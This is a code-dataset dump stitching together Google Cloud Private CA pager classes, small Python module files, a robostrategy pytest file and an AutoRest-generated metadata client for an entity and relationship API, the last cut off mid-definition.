metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[resources.Certificate]: for page in self.pages: yield from page.certificates def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificatesAsyncPager: """A pager for iterating through ``list_certificates`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificatesResponse` object, and provides an ``__aiter__`` method to iterate through its ``certificates`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListCertificates`` requests and continue to iterate through the ``certificates`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificatesResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., Awaitable[service.ListCertificatesResponse]], request: service.ListCertificatesRequest, response: service.ListCertificatesResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificatesRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificatesResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificatesRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListCertificatesResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[resources.Certificate]: async def async_generator(): async for page in self.pages: for response in page.certificates: yield response return async_generator() def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificateAuthoritiesPager: """A pager for iterating through ``list_certificate_authorities`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesResponse` object, and provides an ``__iter__`` method to iterate through its ``certificate_authorities`` field. If there are more pages, the ``__iter__`` method will make additional ``ListCertificateAuthorities`` requests and continue to iterate through the ``certificate_authorities`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., service.ListCertificateAuthoritiesResponse], request: service.ListCertificateAuthoritiesRequest, response: service.ListCertificateAuthoritiesResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificateAuthoritiesRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListCertificateAuthoritiesResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[resources.CertificateAuthority]: for page in self.pages: yield from page.certificate_authorities def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificateAuthoritiesAsyncPager: """A pager for iterating through ``list_certificate_authorities`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesResponse` object, and provides an ``__aiter__`` method to iterate through its ``certificate_authorities`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListCertificateAuthorities`` requests and continue to iterate through the ``certificate_authorities`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., Awaitable[service.ListCertificateAuthoritiesResponse]], request: service.ListCertificateAuthoritiesRequest, response: service.ListCertificateAuthoritiesResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificateAuthoritiesResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificateAuthoritiesRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListCertificateAuthoritiesResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[resources.CertificateAuthority]: async def async_generator(): async for page in self.pages: for response in page.certificate_authorities: yield response return async_generator() def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCaPoolsPager: """A pager for iterating through ``list_ca_pools`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCaPoolsResponse` object, and provides an ``__iter__`` method to iterate through its ``ca_pools`` field. If there are more pages, the ``__iter__`` method will make additional ``ListCaPools`` requests and continue to iterate through the ``ca_pools`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCaPoolsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., service.ListCaPoolsResponse], request: service.ListCaPoolsRequest, response: service.ListCaPoolsResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCaPoolsRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCaPoolsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCaPoolsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListCaPoolsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[resources.CaPool]: for page in self.pages: yield from page.ca_pools def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCaPoolsAsyncPager: """A pager for iterating through ``list_ca_pools`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCaPoolsResponse` object, and provides an ``__aiter__`` method to iterate through its ``ca_pools`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListCaPools`` requests and continue to iterate through the ``ca_pools`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCaPoolsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., Awaitable[service.ListCaPoolsResponse]], request: service.ListCaPoolsRequest, response: service.ListCaPoolsResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCaPoolsRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCaPoolsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCaPoolsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListCaPoolsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[resources.CaPool]: async def async_generator(): async for page in self.pages: for response in page.ca_pools: yield response return async_generator() def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificateRevocationListsPager: """A pager for iterating through ``list_certificate_revocation_lists`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificateRevocationListsResponse` object, and provides an ``__iter__`` method to iterate through its ``certificate_revocation_lists`` field. If there are more pages, the ``__iter__`` method will make additional ``ListCertificateRevocationLists`` requests and continue to iterate through the ``certificate_revocation_lists`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificateRevocationListsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., service.ListCertificateRevocationListsResponse], request: service.ListCertificateRevocationListsRequest, response: service.ListCertificateRevocationListsResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificateRevocationListsRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificateRevocationListsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificateRevocationListsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListCertificateRevocationListsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[resources.CertificateRevocationList]: for page in self.pages: yield from page.certificate_revocation_lists def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificateRevocationListsAsyncPager: """A pager for iterating through ``list_certificate_revocation_lists`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificateRevocationListsResponse` object, and provides an ``__aiter__`` method to iterate through its ``certificate_revocation_lists`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListCertificateRevocationLists`` requests and continue to iterate through the ``certificate_revocation_lists`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificateRevocationListsResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[ ..., Awaitable[service.ListCertificateRevocationListsResponse] ], request: service.ListCertificateRevocationListsRequest, response: service.ListCertificateRevocationListsResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificateRevocationListsRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificateRevocationListsResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificateRevocationListsRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages( self, ) -> AsyncIterable[service.ListCertificateRevocationListsResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[resources.CertificateRevocationList]: async def async_generator(): async for page in self.pages: for response in page.certificate_revocation_lists: yield response return async_generator() def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificateTemplatesPager: """A pager for iterating through ``list_certificate_templates`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificateTemplatesResponse` object, and provides an ``__iter__`` method to iterate through its ``certificate_templates`` field. If there are more pages, the ``__iter__`` method will make additional ``ListCertificateTemplates`` requests and continue to iterate through the ``certificate_templates`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificateTemplatesResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., service.ListCertificateTemplatesResponse], request: service.ListCertificateTemplatesRequest, response: service.ListCertificateTemplatesResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiate the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificateTemplatesRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificateTemplatesResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificateTemplatesRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property def pages(self) -> Iterable[service.ListCertificateTemplatesResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = self._method(self._request, metadata=self._metadata) yield self._response def __iter__(self) -> Iterable[resources.CertificateTemplate]: for page in self.pages: yield from page.certificate_templates def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response) class ListCertificateTemplatesAsyncPager: """A pager for iterating through ``list_certificate_templates`` requests. This class thinly wraps an initial :class:`google.cloud.security.privateca_v1.types.ListCertificateTemplatesResponse` object, and provides an ``__aiter__`` method to iterate through its ``certificate_templates`` field. If there are more pages, the ``__aiter__`` method will make additional ``ListCertificateTemplates`` requests and continue to iterate through the ``certificate_templates`` field on the corresponding responses. All the usual :class:`google.cloud.security.privateca_v1.types.ListCertificateTemplatesResponse` attributes are available on the pager. If multiple requests are made, only the most recent response is retained, and thus used for attribute lookup. """ def __init__( self, method: Callable[..., Awaitable[service.ListCertificateTemplatesResponse]], request: service.ListCertificateTemplatesRequest, response: service.ListCertificateTemplatesResponse, *, metadata: Sequence[Tuple[str, str]] = () ): """Instantiates the pager. Args: method (Callable): The method that was originally called, and which instantiated this pager. request (google.cloud.security.privateca_v1.types.ListCertificateTemplatesRequest): The initial request object. response (google.cloud.security.privateca_v1.types.ListCertificateTemplatesResponse): The initial response object. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. """ self._method = method self._request = service.ListCertificateTemplatesRequest(request) self._response = response self._metadata = metadata def __getattr__(self, name: str) -> Any: return getattr(self._response, name) @property async def pages(self) -> AsyncIterable[service.ListCertificateTemplatesResponse]: yield self._response while self._response.next_page_token: self._request.page_token = self._response.next_page_token self._response = await self._method(self._request, metadata=self._metadata) yield self._response def __aiter__(self) -> AsyncIterable[resources.CertificateTemplate]: async def async_generator(): async for page in self.pages: for response in page.certificate_templates: yield response return async_generator() def __repr__(self) -> str: return "{0}<{1!r}>".format(self.__class__.__name__, self._response)
40.604755
106
0.684159
2,852
27,327
6.337307
0.069776
0.053115
0.044152
0.065066
0.938807
0.938807
0.938807
0.938807
0.930397
0.923426
0
0.003397
0.235115
27,327
672
107
40.665179
0.861305
0.470121
0
0.784053
0
0
0.007654
0
0
0
0
0
0
1
0.149502
false
0
0.009967
0.066445
0.275748
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d7a0d04a11ca12e5f17d3f72eca16ed1374b32bf
63
py
Python
src/stackoverflow/67563601/demo.py
mrdulin/python-codelab
3d960a14a96b3a673b7dc2277d202069b1f8e778
[ "MIT" ]
null
null
null
src/stackoverflow/67563601/demo.py
mrdulin/python-codelab
3d960a14a96b3a673b7dc2277d202069b1f8e778
[ "MIT" ]
null
null
null
src/stackoverflow/67563601/demo.py
mrdulin/python-codelab
3d960a14a96b3a673b7dc2277d202069b1f8e778
[ "MIT" ]
3
2020-02-19T08:02:04.000Z
2021-06-08T13:27:51.000Z
from fun_list import run_funs def run_demo(): run_funs()
10.5
29
0.714286
11
63
3.727273
0.727273
0.341463
0
0
0
0
0
0
0
0
0
0
0.206349
63
5
30
12.6
0.82
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
d7ef8580c99f162ecadffe3a9659f04a0a5206db
119
py
Python
text_models/embeddeds/__init__.py
MCardus/topic-modelling
12bff0a92d1fc25e497b2dcc45ce91a3de3d4d31
[ "MIT" ]
null
null
null
text_models/embeddeds/__init__.py
MCardus/topic-modelling
12bff0a92d1fc25e497b2dcc45ce91a3de3d4d31
[ "MIT" ]
null
null
null
text_models/embeddeds/__init__.py
MCardus/topic-modelling
12bff0a92d1fc25e497b2dcc45ce91a3de3d4d31
[ "MIT" ]
null
null
null
from text_models.embeddeds.doc2vec.doc2vec import Doc2Vec from text_models.embeddeds.word2vec.word2vec import Word2vec
39.666667
60
0.882353
16
119
6.4375
0.4375
0.15534
0.271845
0.446602
0
0
0
0
0
0
0
0.054054
0.067227
119
2
61
59.5
0.873874
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
cc298ad316f8e3845853f7fe493c5000e502c657
1,335
py
Python
tests/test_design.py
sdss/robostrategy
2eeaca6abd04f1ce9b8bd86f02aabc09e0123d0e
[ "BSD-3-Clause" ]
null
null
null
tests/test_design.py
sdss/robostrategy
2eeaca6abd04f1ce9b8bd86f02aabc09e0123d0e
[ "BSD-3-Clause" ]
null
null
null
tests/test_design.py
sdss/robostrategy
2eeaca6abd04f1ce9b8bd86f02aabc09e0123d0e
[ "BSD-3-Clause" ]
null
null
null
import pytest import numpy as np import robostrategy.design as design def test_design_greedy(): np.random.seed(1) ntarget = 200 target = np.zeros(ntarget, dtype=design._target_array_dtype) target['ra'] = np.random.random(ntarget) * 3. + 180. - 1.50 target['dec'] = np.random.random(ntarget) * 3. - 1.50 target['fiberType'] = 'BOSS' target['catalogid'] = np.arange(ntarget) + 1 target['category'] = 'SCIENCE' target['program'] = 'test' target['priority'] = 1 d = design.DesignGreedy(racen=180., deccen=0., pa=0., observatory='apo') d.targets_fromarray(target) d.assign() ii = np.where(d.target_assignments >= 0)[0] assert len(ii) == 111 def test_design_optimize(): np.random.seed(1) ntarget = 200 target = np.zeros(ntarget, dtype=design._target_array_dtype) target['ra'] = np.random.random(ntarget) * 3. + 180. - 1.50 target['dec'] = np.random.random(ntarget) * 3. - 1.50 target['fiberType'] = 'BOSS' target['catalogid'] = np.arange(ntarget) + 1 target['category'] = 'SCIENCE' target['program'] = 'test' target['priority'] = 1 d = design.DesignOptimize(racen=180., deccen=0., pa=0., observatory='apo') d.targets_fromarray(target) d.assign() ii = np.where(d.target_assignments >= 0)[0] assert len(ii) == 117
29.666667
78
0.635955
181
1,335
4.61326
0.287293
0.057485
0.067066
0.100599
0.843114
0.843114
0.843114
0.843114
0.843114
0.843114
0
0.050186
0.194007
1,335
44
79
30.340909
0.725836
0
0
0.742857
0
0
0.09588
0
0
0
0
0
0.057143
1
0.057143
false
0
0.085714
0
0.142857
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
cc30362426f7cfb78ccf0f629e1705078e9e25a8
28,389
py
Python
lineage/adf-copy-activity/src/azfunctions/lineageCreator/metadata_wrapper/generated/swagger/metadata_wrapper_client.py
logachev/metadata-samples
d90750dbe37b478ab02c04acf208ca5429800903
[ "MIT" ]
null
null
null
lineage/adf-copy-activity/src/azfunctions/lineageCreator/metadata_wrapper/generated/swagger/metadata_wrapper_client.py
logachev/metadata-samples
d90750dbe37b478ab02c04acf208ca5429800903
[ "MIT" ]
null
null
null
lineage/adf-copy-activity/src/azfunctions/lineageCreator/metadata_wrapper/generated/swagger/metadata_wrapper_client.py
logachev/metadata-samples
d90750dbe37b478ab02c04acf208ca5429800903
[ "MIT" ]
1
2019-10-31T07:23:21.000Z
2019-10-31T07:23:21.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.service_client import SDKClient from msrest import Configuration, Serializer, Deserializer from .version import VERSION from msrest.pipeline import ClientRawResponse from msrest.exceptions import HttpOperationError class MetadataWrapperClientConfiguration(Configuration): """Configuration for MetadataWrapperClient Note that all parameters used to create this instance are saved as instance attributes. :param str base_url: Service URL """ def __init__( self, base_url=None): if not base_url: base_url = 'http://localhost' super(MetadataWrapperClientConfiguration, self).__init__(base_url) self.add_user_agent('metadatawrapperclient/{}'.format(VERSION)) class MetadataWrapperClient(SDKClient): """Api Documentation :ivar config: Configuration for client. :vartype config: MetadataWrapperClientConfiguration :param str base_url: Service URL """ def __init__( self, base_url=None): self.config = MetadataWrapperClientConfiguration(base_url) super(MetadataWrapperClient, self).__init__(None, self.config) client_models = {} self.api_version = '1.0' self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) def greeting_using_get( self, custom_headers=None, raw=False, **operation_config): """greeting. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.greeting_using_get.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.get(url, query_parameters, header_parameters) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized greeting_using_get.metadata = {'url': '/'} def entity_post_using_post( self, input, custom_headers=None, raw=False, **operation_config): """Add new entity in atlas. :param input: { "entities": [ { "typeName": "adls_gen2_resource_set", "createdBy": "sg", "attributes": { "qualifiedName": "/2019/", "name": "/2019/" } } ] } :type input: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.entity_post_using_post.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(input, 'str') # Construct and send request request = self._client.post(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 201, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized entity_post_using_post.metadata = {'url': '/api/entity'} def entity_bulk_get_using_get( self, input, custom_headers=None, raw=False, **operation_config): """entityBulkGet. :param input: input :type input: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.entity_bulk_get_using_get.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(input, 'str') # Construct and send request request = self._client.get(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized entity_bulk_get_using_get.metadata = {'url': '/api/entity/bulk'} def entity_bulk_post_using_post( self, ip_json, custom_headers=None, raw=False, **operation_config): """entityBulkPost. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.entity_bulk_post_using_post.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.post(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 201, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized entity_bulk_post_using_post.metadata = {'url': '/api/entity/bulk'} def entity_bulk_delete_using_delete( self, ip_json, custom_headers=None, raw=False, **operation_config): """entityBulkDelete. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.entity_bulk_delete_using_delete.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.delete(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 204, 401, 403]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized entity_bulk_delete_using_delete.metadata = {'url': '/api/entity/bulk'} def relationship_post_using_post( self, ip_json, custom_headers=None, raw=False, **operation_config): """relationshipPost. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.relationship_post_using_post.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.post(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 201, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized relationship_post_using_post.metadata = {'url': '/api/relationship'} def relationship_bulk_post_using_put( self, ip_json, custom_headers=None, raw=False, **operation_config): """relationshipBulkPost. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.relationship_bulk_post_using_put.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.put(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 201, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized relationship_bulk_post_using_put.metadata = {'url': '/api/relationship'} def relationship_guid_get_using_get( self, guid, custom_headers=None, raw=False, **operation_config): """relationshipGUIDGet. :param guid: guid :type guid: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.relationship_guid_get_using_get.metadata['url'] path_format_arguments = { 'guid': self._serialize.url("guid", guid, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.get(url, query_parameters, header_parameters) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized relationship_guid_get_using_get.metadata = {'url': '/api/relationship/guid/{guid}'} def 